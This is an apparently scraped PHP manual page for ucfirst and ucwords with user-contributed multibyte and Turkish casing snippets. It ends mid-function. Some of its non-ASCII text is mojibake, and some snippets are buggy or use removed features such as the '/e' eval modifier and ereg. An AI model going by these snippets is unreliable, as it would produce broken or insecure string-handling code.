Windows uses two characters for definining newlines, namely ASCII 13 (carriage return, "\r") and ASCII 10 (line feed, "\n") aka CRLF. So if you have a string with CRLF's, trim() won't recognize them as being one newline. To solve this you can use str_replace() to replace the CRLF's with with a space or something.

<?php
// string with bunch of CRLF's
$my_string = "Liquid\r\nTension Experiment\r\n\r\n\r\n";

// replace CRLF's with spaces
$my_wonderful_string = str_replace("\r\n", " ", $my_string);
// would result in "Liquid Tension Experiment   "

// or just delete the CRLF's (by replacing them with nothing)
$my_wonderful_string = str_replace("\r\n", "", $my_string);
// would result in "LiquidTension Experiment"
?>


Make a string's first character uppercase

  • Â« trim
  • ucwords Â»
  • PHP Manual
  • String Functions
  • Make a string's first character uppercase

ucfirst

(PHP 4, PHP 5)

ucfirst — Make a string's first character uppercase

Description

string ucfirst ( string $str )

Returns a string with the first character of str capitalized, if that character is alphabetic.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (Ã¤) will not be converted.

Parameters

str

The input string.

Return Values

Returns the resulting string.

Examples

Example #1 ucfirst() example

<?php
$foo = 'hello world!';
$foo = ucfirst($foo);             // Hello world!

$bar = 'HELLO WORLD!';
$bar = ucfirst($bar);             // HELLO WORLD!
$bar = ucfirst(strtolower($bar)); // Hello world!
?>

See Also

  • lcfirst() - Make a string's first character lowercase
  • strtolower() - Make a string lowercase
  • strtoupper() - Make a string uppercase
  • ucwords() - Uppercase the first character of each word in a string

User Contributed Notes

kiprasbal at gmail dot com 16-May-2014 03:34
My version, converst first letter of the first word in the string to uppercase

public function mb_ucfirst($str) {
        $aParts = explode(" ",$str);
        $firstWord = mb_convert_case($aParts[0],MB_CASE_TITLE,"UTF-8");
        unset($aParts[0]);

        return $firstWord." ".implode(" ",$aParts);
    }
const 10-Dec-2013 05:55
Ð•Ñ‰Ðµ Ð¾Ð´Ð¸Ð½ Ð²Ð°Ñ€Ð¸Ð°Ð½Ñ‚ "mb_ucfirst"
<?php
header('content-type: text/plain; charset=utf8;');
function mb_ucfirst($str)
{
    if (preg_match('/[a-z]/ui', $str[0]))
        return ucfirst($str);

    $first = mb_strtoupper($str[0].$str[1], 'utf8');
    $str[0] = $first[0];
    $str[1] = $first[1];
    return $str;
}

echo ucfirst('ÑÑ‚Ñ€Ð¾ÐºÐ° Ð² utf8 ucfirst')."\n";
echo mb_ucfirst('ÑÑ‚Ñ€Ð¾ÐºÐ° Ð² utf8 mb_ucfirst')."\n";
echo mb_ucfirst('dÃ©veloppeur mb_ucfirst')."\n";
echo mb_ucfirst('Ã©veloppeur mb_ucfirst')."\n";
?>
ÐÐ° Ð²Ñ‹Ñ…Ð¾Ð´Ðµ:
ÑÑ‚Ñ€Ð¾ÐºÐ° Ð² utf8 ucfirst
Ð¡Ñ‚Ñ€Ð¾ÐºÐ° Ð² utf8 mb_ucfirst
DÃ©veloppeur mb_ucfirst
Ã‰veloppeur mb_ucfirst

Ð¢Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ ÐºÐ¾Ð´Ð¸Ñ€Ð¾Ð²ÐºÐ¸ utf8.
mingalevme at gmail dot com 05-Dec-2013 07:32
Implementation of multi-bytes ucfirst for "multiword"-strings (module mbstring is required):

<?php

public static function ucfirst($str)
{
    $str = mb_strtolower($str);
    $words = preg_split('/\b/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($words as $word) {
        $ucword = mb_strtoupper(mb_substr($word, 0, 1)) . mb_substr($word, 1);
        $str = str_replace($word, $ucword, $str);
    }
    return $str;
}

?>
Nethor 06-Oct-2012 01:14
Simple but workable solution:

<?php
mb_internal_encoding("UTF-8");  // before calling the function

function utf8_ucfirst($str){
    preg_match_all("~^(.)(.*)$~u", $str, $arr);
    return mb_strtoupper($arr[1][0]).$arr[2][0];
    }
?>
idont at remember dot it 18-May-2012 08:21
In case you need a French version of ucfirst:

"Ã©tÃ© indien" => "EtÃ© indien"
"Ã§a va?" => "Ã‡a va?"

<?php
function frenchUcfirst($v) {
  $lowCase  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE7\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
  $lowCase .= "\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFF\\u0161";
  $upperCase = "AAAAAA\\xC7EEEEIIIINOOOOOOUUUUYYS";
  return strtoupper(strtr(substr($v, 0, 1), $lowCase, $upperCase)) . substr($v, 1);
}
?>

Note:
- Latin non french accented characters follow the same rule:
"Ã¤ndÃ¥" => "AndÃ¥"
- Non ASCII characters in the function are in HEX format to avoid encoding issue...
qeremy [atta] gmail [dotta] com 28-Feb-2012 01:41
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "Ä°", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

$str = "iyilik gÃ¼zelLÄ°K";
echo ucfirst($str) ."\n";   // Iyilik gÃ¼zelLÄ°K
echo ucfirst_turkish($str); // Ä°yilik gÃ¼zelLÄ°K
?>
vlknmtn at gmail dot com 18-Aug-2011 01:31
Turkish solution:

<?php
mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

function tr_ilkbuyuk($text)
{
    $text = str_replace("I","Ä±",$text);
    $text = mb_strtolower($text, 'UTF-8');

    if($text[0] == "i")
        $tr_text = "Ä°".substr($text, 1);
    else
        $tr_text = mb_convert_case($text, MB_CASE_TITLE, "UTF-8");

    return trim($tr_text);
}

function tr_ucwords($text)
{
    $p = explode(" ",$text);
    if(is_array($p))
    {
        $tr_text = "";
        foreach($p AS $item)
            $tr_text .= " ".tr_ilkbuyuk($item);

        return trim($tr_text);
    }
    else
        return tr_ilkbuyuk($text);
}

$deger = "Ä±iÅŸllÅŸlsdg";

echo tr_ucwords($deger);

?>
Quicker 10-May-2011 10:53
if you want to ucfirst for utf8 try this one:

<?php
function ucfirst_utf8($stri){
 if($stri{0}>="\xc3")
     return (($stri{1}>="\xa0")?
     ($stri{0}.chr(ord($stri{1})-32)):
     ($stri{0}.$stri{1})).substr($stri,2);
 else return ucfirst($stri);
}
?>

It is quick, not language (but utf8) dependend and does not use any mb-functions such as mb_ucfirst.
chris at bjelleklang dot org 26-Jan-2011 12:03
For those who want a multibyte-compliant ucfirst() without wanting to mess with encodings, this should do the trick:

<?php
function mb_ucasefirst($str){
    $str[0] = mb_strtoupper($str[0]);
    return $str;
}
?>
pete at namecube dot net 12-Apr-2010 04:08
for anyone wanting to ucfirst each word in a sentence this works for me:

<?php
function ucfirst_sentence($str)
{
    return preg_replace('/\b(\w)/e', 'strtoupper("$1")', $str);
}
?>
wilfried dot loche at fr dot adp dot com 22-Jan-2010 11:22
If someone looks for the equivalent on Oracle DB, here it is: INITCAP. Hope this helps!
octavius 27-Sep-2009 02:18
For lithuanian text with utf-8 encoding I use two functions (thanks [mattalexxpub at gmail dot com] and Svetoslav Marinov)

<?php
function my_ucfirst($string, $e ='utf-8') {
    if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
        $string = mb_strtolower($string, $e);
        $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
    }
    else {
        $string = ucfirst($string);
    }
    return $string;
}

function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            my_ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}
?>
bgschool 30-Jul-2009 01:39
Simple function for use ucfirst with utf-8 encoded cyrylic text

<?php
    public function capitalize_first($str) {
        $line = iconv("UTF-8", "Windows-1251", $str); // convert to windows-1251
        $line = ucfirst($line);
        $line = iconv("Windows-1251", "UTF-8", $line); // convert back to utf-8

        return $line;
    }
?>
svetoslavm at gmail dot com 20-Nov-2008 04:40
For some reason this worked for me.

Mac OS 10.5.1
PHP 5.2.6

<?php
   /**
     * ucfirst UTF-8 aware function
     *
     * @param string $string
     * @return string
     * @see http://ca.php.net/ucfirst
     */
    function my_ucfirst($string, $e ='utf-8') {
        if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
            $string = mb_strtolower($string, $e);
            $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
        } else {
            $string = ucfirst($string);
        }
        return $string;
    }
?>

Svetoslav Marinov
http://slavi.biz
mattalexxpub at gmail dot com 10-Nov-2008 02:10
This is what I use for converting strings to sentence case:

<?php
function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}

print sentence_case('HMM. WOW! WHAT?');

// Outputs: "Hmm. Wow! What?"
?>
prokur.net - there is my email 30-Jun-2008 12:01
I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful
<?php

if (!function_exists('mb_ucfirst') && function_exists('mb_substr')) {
    function mb_ucfirst($string) {
        $string = mb_strtoupper(mb_substr($string, 0, 1)) . mb_substr($string, 1);
        return $string;
    }
}

?>

it also check is mb support enabled or not
charliefortune 20-Feb-2008 12:48
Here's a function to capitalize segments of a name, and put the rest into lower case. You can pass the characters you want to use as delimiters.

i.e. <?php echo nameize("john o'grady-smith"); ?>

returns John O'Grady-Smith

<?php

function nameize($str,$a_char = array("'","-"," ")){
    //$str contains the complete raw name string
    //$a_char is an array containing the characters we use as separators for capitalization. If you don't pass anything, there are three in there as default.
    $string = strtolower($str);
    foreach ($a_char as $temp){
        $pos = strpos($string,$temp);
        if ($pos){
            //we are in the loop because we found one of the special characters in the array, so lets split it up into chunks and capitalize each one.
            $mend = '';
            $a_split = explode($temp,$string);
            foreach ($a_split as $temp2){
                //capitalize each portion of the string which was separated at a special character
                $mend .= ucfirst($temp2).$temp;
                }
            $string = substr($mend,0,-1);
            }
        }
    return ucfirst($string);
    }

?>
webmaster at onmyway dot cz 11-Feb-2008 12:31
Inspired by the lcfirst function a simple mb_lcfirst to cope with multibyte strings:

<?php
function mb_lcfirst($str, $enc = null)
{
  if($enc === null) $enc = mb_internal_encoding();
  return mb_strtolower(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>
Uwe 26-Jul-2007 05:08
@adefoor, Ken and Zee

Changing the case can only be done by understanding the text. Take for example "USA", "Sunday", "March", "I am ...", abbreviations like "prob." and so on.
adefoor at gmail dot com 12-Jul-2007 08:57
Ken and zee

One thing I would do to make this more unviersally work would be to add strtolower() around your $sentence.  Doing this will allow you to convert an all caps text block as well as an all lowercase text block.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst(strtolower($sentence));
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Ken Kehler 14-Mar-2007 09:03
@ zee: this should solve your !, ?, and any punctuations you want to add. It can probably be cleaned up a bit.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst($sentence);
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Carel at divers information with dotcom 06-Jan-2007 11:55
I made a small change. Now it takes care of points in numbers

function ucsentence ($string){
   $string = explode ('.', $string);
   $count = count ($string);
   for ($i = 0; $i < $count; $i++){
       $string[$i]  = ucfirst (trim ($string[$i]));
       if ($i > 0){
           if ((ord($string[$i]{0})<48) || (ord($string[$i]{0})>57)) {
              $string[$i] = ' ' . $string[$i];
           }
       }
   }
   $string = implode ('.', $string);
   return $string;
}
26-Oct-2006 04:45
Some simple function for cyrillic and latin letters both:

function rucfirst($str) {
    if(ord(substr($str,0,1))<192) return ucfirst($str);
    else
    return chr(ord(substr($str,0,1))-32).substr($str,1);
}
Michael 12-Sep-2006 03:01
This is what you would expect php to deliver if there was a built-in function named ucsentence.

function ucsentence ($string){
    $string = explode ('.', $string);
    $count = count ($string);
    for ($i = 0; $i < $count; $i++){
        $string[$i]  = ucfirst (trim ($string[$i]));
        if ($i > 0){
            $string[$i] = '&nbsp;&nbsp;' . $string[$i];
        }
    }
    $string = implode ('.', $string);
    return $string;
}
27-Jul-2006 11:31
lcfirst - In case you need to get the original string back after a ucfirst.

    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return $str;
    }
Markus Ernst 31-Mar-2006 09:34
A combination of the below functions to enable ucfirst for multibyte strings in a shared hosting environment (where you can not always count on mbstring to be installed):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    if (function_exists('mb_strtoupper')) {
        $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
        return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
    }
    else {
        $str = utf8_decode($str);
        $str[0] = strtr($str[0],
            "abcdefghÃ½ijklmnopqrstuvwxyz".
            "\x9C\x9A\xE0\xE1\xE2\xE3".
            "\xE4\xE5\xE6\xE7\xE8\xE9".
            "\xEA\xEB\xEC\xED\xEE\xEF".
            "\xF0\xF1\xF2\xF3\xF4\xF5".
            "\xF6\xF8\xF9\xFA\xFB\xFC".
            "\xFE\xFF",
            "ABCDEFGHÃIJKLMNOPQRSTUVWXYZ".
            "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
            "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
            "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
            "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
            "\xDB\xDC\xDE\x9F");
        return utf8_encode($str);
    }
}
?>
Bartuc 27-Feb-2006 02:28
Here is the fixed function for Turkish alphabet..

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefghýijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFE\xFF",
   "ABCDEFGHIÝJKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDE\x9F");
   return $str;
}

?>
Markus Ernst 12-Jan-2006 03:39
plemieux' function did not work for me without passing the encoding to every single mb function (despite ini_set('default_charset', 'utf-8') at the top of the script). This is the example that works in my application (PHP 4.3):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
    return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
}
?>
plemieux 29-Sep-2005 08:05
Simple multi-bytes ucfirst():

<?php
function my_mb_ucfirst($str) {
    $fc = mb_strtoupper(mb_substr($str, 0, 1));
    return $fc.mb_substr($str, 1);
}
?>
info [at] spwdesign [dot] com 23-Jun-2005 09:48
This is a simple code to get all the 'bad words', stored in a database, out of the text. You could use str_ireplace but since that's installed on PHP5 only, this works as well. It strtolowers the text first then places capitals with ucfirst() where it thinks a capital should be placed, at a new sentence. The previous sentence is ended by '. ' then.

<?php
function filter($text){
    $filters=mysql_query("SELECT word,result FROM filter");
    while($filter=mysql_fetch_array($filters)){
        $text=str_replace($filter[word],$filter[result],strtolower($text));
        $parts=explode(". ",$text);
        for($i=0;$i<count($parts);$i++){
            $parts[$i]=ucfirst($parts[$i]);
        }
        $text=implode(". ",$parts);
    }
    return $text;
}
?>
13-Mar-2005 02:11
Ah, the last code were spoiled, here is the fixed one:

<?php

function uc_first($str){
    $str[0] = strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\x9C\x9A\xE0\xE1\xE2\xE3".
    "\xE4\xE5\xE6\xE7\xE8\xE9".
    "\xEA\xEB\xEC\xED\xEE\xEF".
    "\xF0\xF1\xF2\xF3\xF4\xF5".
    "\xF6\xF8\xF9\xFA\xFB\xFC".
    "\xFD\xFE\xFF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
    "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
    "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
    "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
    "\xDB\xDC\xDD\xDE\x9F");
    return $str;
}

?>

So, this function changes also other letters into uppercase, ucfirst() does only change: a-z to: A-Z.
25-Dec-2004 07:46
This function does not work as expected with characters from non-English alphabets (I only tested it with scandinavian letters, åäö => ÅÄÖ). It leaves them as lowercase.

Someone already commented that the function doesn't work on html entities, which is somewhat understandable. This bug however takes place before I convert the strings to html.
steven at tux dot appstate dot edu 21-Jun-2004 09:14
Note: the return for this function changed in versions 4.3 when a string is passed of length 0.  In <4.2 false is returned and in >4.3 a string of length 0 is returned.

Example:

$name = ucfirst("");
var_dump($name);

$name = ucfirst("owen");
var_dump($name);

Results for <4.2:
bool(false) string(4) "Owen"

Results for >4.3:
string(0) "" string(4) "Owen"
Ami Hughes (ami at mistress dot name) 08-Apr-2004 05:34
In the event you sort of need multiple delimiters to apply the same action to, you can preg_replace this "second delimiter" enveloping it with your actual delimiter.

A for instance, would be if you wanted to use something like Lee's FormatName function in an input box designed for their full name as this script was only designed to check the last name as if it were the entire string.  The problem is that you still want support for double-barreled names and you still want to be able to support the possibility that if the second part of the double-barreled name starts with "mc", that it will still be formatted correctly.

This example does a preg_replace that surrounds the separator with your actual delimiter.  This is just a really quick alternative to writing some bigger fancier blah-blah function.  If there's a shorter, simpler way to do it, feel free to inform me.  (Emphasis on shorter and simpler because that was the whole point of this.) :D

Here's the example.  I've removed Lee's comments as not to confuse them with my own.

<?php

   function FormatName($name=NULL)
   {
       if (empty($name))
           return false;

       $name = strtolower($name);
       $name = preg_replace("[\-]", " - ",$name); // Surround hyphens with our delimiter so our strncmp is accurate
       if (preg_match("/^[a-z]{2,}$/i",$name))  // Simple preg_match if statement
       {

           $names_array = explode(' ',$name);  // Set the delimiter as a space.

           for ($i = 0; $i < count($names_array); $i++)
           {
               if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i]))
               {
                   $names_array[$i][2] = strtoupper($names_array[$i][2]);
               }
               $names_array[$i] = ucfirst($names_array[$i]);

           }

           $name = implode(' ',$names_array);
           $name = preg_replace("[ \- ]", "-",$name); //  Remove the extra instances of our delimiter
           return ucwords($name);

       }
   }

?>
bkimble at ebaseweb dot com 09-Jun-2003 02:02
Here is a handy function that makes the first letter of everything in a sentence upercase. I used it to deal with titles of events posted on my website ... I've added exceptions for uppercase words and lowercase words so roman numeral "IV" doesn't get printed as "iv" and words like "a" and "the" and "of" stay lowercase.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();

 foreach ($words as $word)
 {
        if (!$higher_exceptions[$word])
                $word = strtolower($word);
        if (!$lower_exceptions[$word])
                $word = ucfirst($word);
         array_push($newwords, $word);

 }

 return join(" ", $newwords);
}


Uppercase the first character of each word in a string

  • « ucfirst
  • vfprintf »
  • PHP Manual
  • String Functions
  • Uppercase the first character of each word in a string

ucwords

(PHP 4, PHP 5)

ucwords — Uppercase the first character of each word in a string

Description

string ucwords ( string $str )

Returns a string with the first character of each word in str capitalized, if that character is alphabetic.

The definition of a word is any string of characters that is immediately after a whitespace (These are: space, form-feed, newline, carriage return, horizontal tab, and vertical tab).

Parameters

str

The input string.

Return Values

Returns the modified string.

Examples

Example #1 ucwords() example

<?php
$foo = 'hello world!';
$foo = ucwords($foo);             // Hello World!

$bar = 'HELLO WORLD!';
$bar = ucwords($bar);             // HELLO WORLD!
$bar = ucwords(strtolower($bar)); // Hello World!
?>

Notes

Note: This function is binary-safe.

See Also

  • strtoupper() - Make a string uppercase
  • strtolower() - Make a string lowercase
  • ucfirst() - Make a string's first character uppercase
  • mb_convert_case() - Perform case folding on a string

User Contributed Notes

OneOfOne 19-Oct-2013 05:46
This function will work on anything, not just words separated by spaces. (eg: 'ac/bc/dc,xc zz' => 'Ac/Bc/Dc,Xc Zz')

function ucwords_all($str) {
    return preg_replace_callback('/\b(\w)/', function($m) {
        return strtoupper($m[0]);
    }, $str);
}
sunamak at odeva dot com 14-Aug-2013 09:30
function ucwords_tr($str) {
    return mb_convert_case(str_replace(array('i', 'I'),    array('İ', 'ı'), $str), MB_CASE_TITLE, 'UTF-8');
}
antoniomax at antoniomax dot com 24-Jul-2013 03:04
Para formatar nomes em pt-br:

<?php

    function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("de", "da", "dos", "das", "do", "I", "II", "III", "IV", "V", "VI"))
    {
        /*
         * Exceptions in lower case are words you don't want converted
         * Exceptions all in upper case are any words you don't want converted to title case
         *   but should be converted to upper case, e.g.:
         *   king henry viii or king henry Viii should be King Henry VIII
         */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");
        foreach ($delimiters as $dlnr => $delimiter) {
            $words = explode($delimiter, $string);
            $newwords = array();
            foreach ($words as $wordnr => $word) {
                if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtoupper($word, "UTF-8");
                } elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtolower($word, "UTF-8");
                } elseif (!in_array($word, $exceptions)) {
                    // convert to uppercase (non-utf8 only)
                    $word = ucfirst($word);
                }
                array_push($newwords, $word);
            }
            $string = join($delimiter, $newwords);
       }//foreach
       return $string;
    }

?>

Usage:

<?php
    $s = 'SÃO JOÃO DOS SANTOS';
    $v = titleCase($s); // 'São João dos Santos'
?>
ATOLYE15 06-Jun-2013 06:11
This solution is a proper use of capitalize first letters of "TURKISH" sentence by ATÖLYE15 crew.

function ucwordstr($sentence)
{
        $letters = array('I','İ','Ç','Ş','Ü','Ö','Ğ');
        $replace = array('ı','i','ç','ş','ü','ö','ğ');

        $sentence = mb_strtolower(str_replace($letters,$replace,$sentence),"UTF-8");

        $words = array();

        foreach(explode(" ",$sentence) as $word)
        {
            $first = str_replace($replace,$letters,mb_substr($word, 0, 1, "UTF-8"));
            $other = mb_substr($word,1,strlen($word)-1,"UTF-8");

            $words[] = $first.$other;
        }

        $sentence = implode(" ",$words);

        return ucwords($sentence);
}
hrvoj3e at gmail dot com 30-Apr-2013 11:44
UTF-8 Title Case that works for me even with hyphens involved!

$str = 'ĐaaČaa-AAAaaa, BBbb';

$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");

echo($str): 'Đaačaa-Aaaaaa, Bbbb'
Luca Borrione luca -a email -d c_o_m 11-Sep-2012 12:41
Features:
- multi byte compatible
- handles multiple delimiters

<?php
function ucwords_specific ($string, $delimiters = '', $encoding = NULL)
{
    if ($encoding === NULL) { $encoding = mb_internal_encoding();}

    if (is_string($delimiters))
    {
        $delimiters =  str_split( str_replace(' ', '', $delimiters));
    }

    $delimiters_pattern1 = array();
    $delimiters_replace1 = array();
    $delimiters_pattern2 = array();
    $delimiters_replace2 = array();
    foreach ($delimiters as $delimiter)
    {
        $uniqid = uniqid();
        $delimiters_pattern1[]   = '/'. preg_quote($delimiter) .'/';
        $delimiters_replace1[]   = $delimiter.$uniqid.' ';
        $delimiters_pattern2[]   = '/'. preg_quote($delimiter.$uniqid.' ') .'/';
        $delimiters_replace2[]   = $delimiter;
    }

    // $return_string = mb_strtolower($string, $encoding);
    $return_string = $string;
    $return_string = preg_replace($delimiters_pattern1, $delimiters_replace1, $return_string);

    $words = explode(' ', $return_string);

    foreach ($words as $index => $word)
    {
        $words[$index] = mb_strtoupper(mb_substr($word, 0, 1, $encoding), $encoding).mb_substr($word, 1, mb_strlen($word, $encoding), $encoding);
    }

    $return_string = implode(' ', $words);

    $return_string = preg_replace($delimiters_pattern2, $delimiters_replace2, $return_string);

    return $return_string;
}
?>

Params:
1. string: The string being converted
2. delimiters: a string with all wanted delimiters written one after the other e.g. "-'"
3. encoding: Is the character encoding. If it is omitted, the internal character encoding value will be used.

Example Usage:
<?php
mb_internal_encoding('UTF-8');
$string = "JEAN-PAUL d'artagnan şŠ-òÀ-éÌ hello - world";
echo ucwords_specific( mb_strtolower($string, 'UTF-8'), "-'");
?>

Output:
Jean-Paul D'Artagnan Şš-Òà-Éì Hello - World
qeremy [atta] gmail [dotta] com 28-Feb-2012 02:09
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "İ", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

function ucwords_turkish($str) {
    return preg_replace("/(\\w+)/ue", "ucfirst_turkish('\\\\1').'$2'", $str);
}

$str = "iyilik güzelLİK şeker ";
echo ucwords($str) ."\\n";   // Iyilik GüzelLİK şeker
echo ucwords_turkish($str); // İyilik GüzelLİK Şeker
?>
haijerome at gmail dot com 21-Nov-2011 06:14
Thanks a lot brother.

I tested it with a few variations. It works perfectly. Its really great and simple usage of the existing functions. It would be glad to all PHP folks and good to PHP if these kind of functions will be in PHP library on upcoming releases.

<?php

$name1 = "mark-yves robert";
$name2 = "mark-yves robert-bryan";

echo '<br/>Name 1 (mark-yves robert) =>'.
ucwordspecific($name1,'-'); //returns Mark-Yves Robert

echo '<br/>Name 2 (mark-yves robert-bryan)

=>'.ucwordspecific($name2,'-');
//returns Mark-Yves Robert-Bryan

function ucwordspecific($str,$delimiter){
$delimiter_space = '- ';
return str_replace($delimiter_space,$delimiter,ucwords

(str_replace($delimiter,$delimiter_space,$str)));
}

?>

Proud to be a PHP enthusiast always :-)
Anonymous 20-Nov-2011 08:06
Make the first letter of any word in capital even they are separated by hyphen.

 Eg : donzé pierre-yves      => Donzé Pierre-Yves
        joye-cagnard frédéric => Joye-Cagnard Frédéric

<?php

 $str = "donzé pierre-yves";
 echo ucwordsHyphen($str); /*returns Donzé Pierre-Yves*/

function ucwordsHyphen($str){
    return str_replace('- ','-',ucwords(str_replace('-','- ',$str)));
}
?>

 Thanks.
haijerome at gmail dot com 12-Nov-2011 08:38
Recently i got a request from a client to make the first letter of any word in capital even they are separated by hyphen.

Eg : donzé pierre-yves      => Donzé Pierre-Yves
       joye-cagnard frédéric => Joye-Cagnard Frédéric

ucwords("donzé pierre-yves") can make it display
Donzé Pierre-yves but actually i need even the first letter of the second word to be in capital.

So in order to get this i have just written a function below and it works fine. But i hope there would be a better and easier way to do this if so kindly share.

<?php

$str = "donzé pierre-yves";
echo ucwordsHyphen($str); /*returns Donzé Pierre-Yves*/

function ucwordsHyphen($str){
                    $converted_str = "";
                    $str_array = explode(" ",$str);
                    foreach($str_array as $key=>$value):
                        if(strpos($value, '-')):
                             $value = str_replace("-", " ", $value);
                             $value = ucwords(strtolower($value));
                             $value = str_replace(" ", "-", $value);
                        else:
                            $value = ucwords(strtolower($value));
                        endif;
                        $converted_str .= " ".$value;
                    endforeach;
                   return $converted_str;
            }
 ?>

Thanks.
And Proud to be a PHP Programmer always :-)
ahmet363 at gmail dot com 16-Oct-2011 08:14
Turkish character with the ucwords function...

<?php
function ucwords_tr($gelen){

  $sonuc='';

  $kelimeler=explode(" ", $gelen);

  foreach ($kelimeler as $kelime_duz){

    $kelime_uzunluk=strlen($kelime_duz);
    $ilk_karakter=mb_substr($kelime_duz,0,1,'UTF-8');

    if($ilk_karakter=='Ç' or $ilk_karakter=='ç'){

      $ilk_karakter='Ç';

    }elseif ($ilk_karakter=='Ğ' or $ilk_karakter=='ğ') {

      $ilk_karakter='Ğ';

    }elseif($ilk_karakter=='I' or $ilk_karakter=='ı'){

      $ilk_karakter='I';

    }elseif ($ilk_karakter=='İ' or $ilk_karakter=='i'){

      $ilk_karakter='İ';

    }elseif ($ilk_karakter=='Ö' or $ilk_karakter=='ö'){

      $ilk_karakter='Ö';

    }elseif ($ilk_karakter=='Ş' or $ilk_karakter=='ş'){

      $ilk_karakter='Ş';

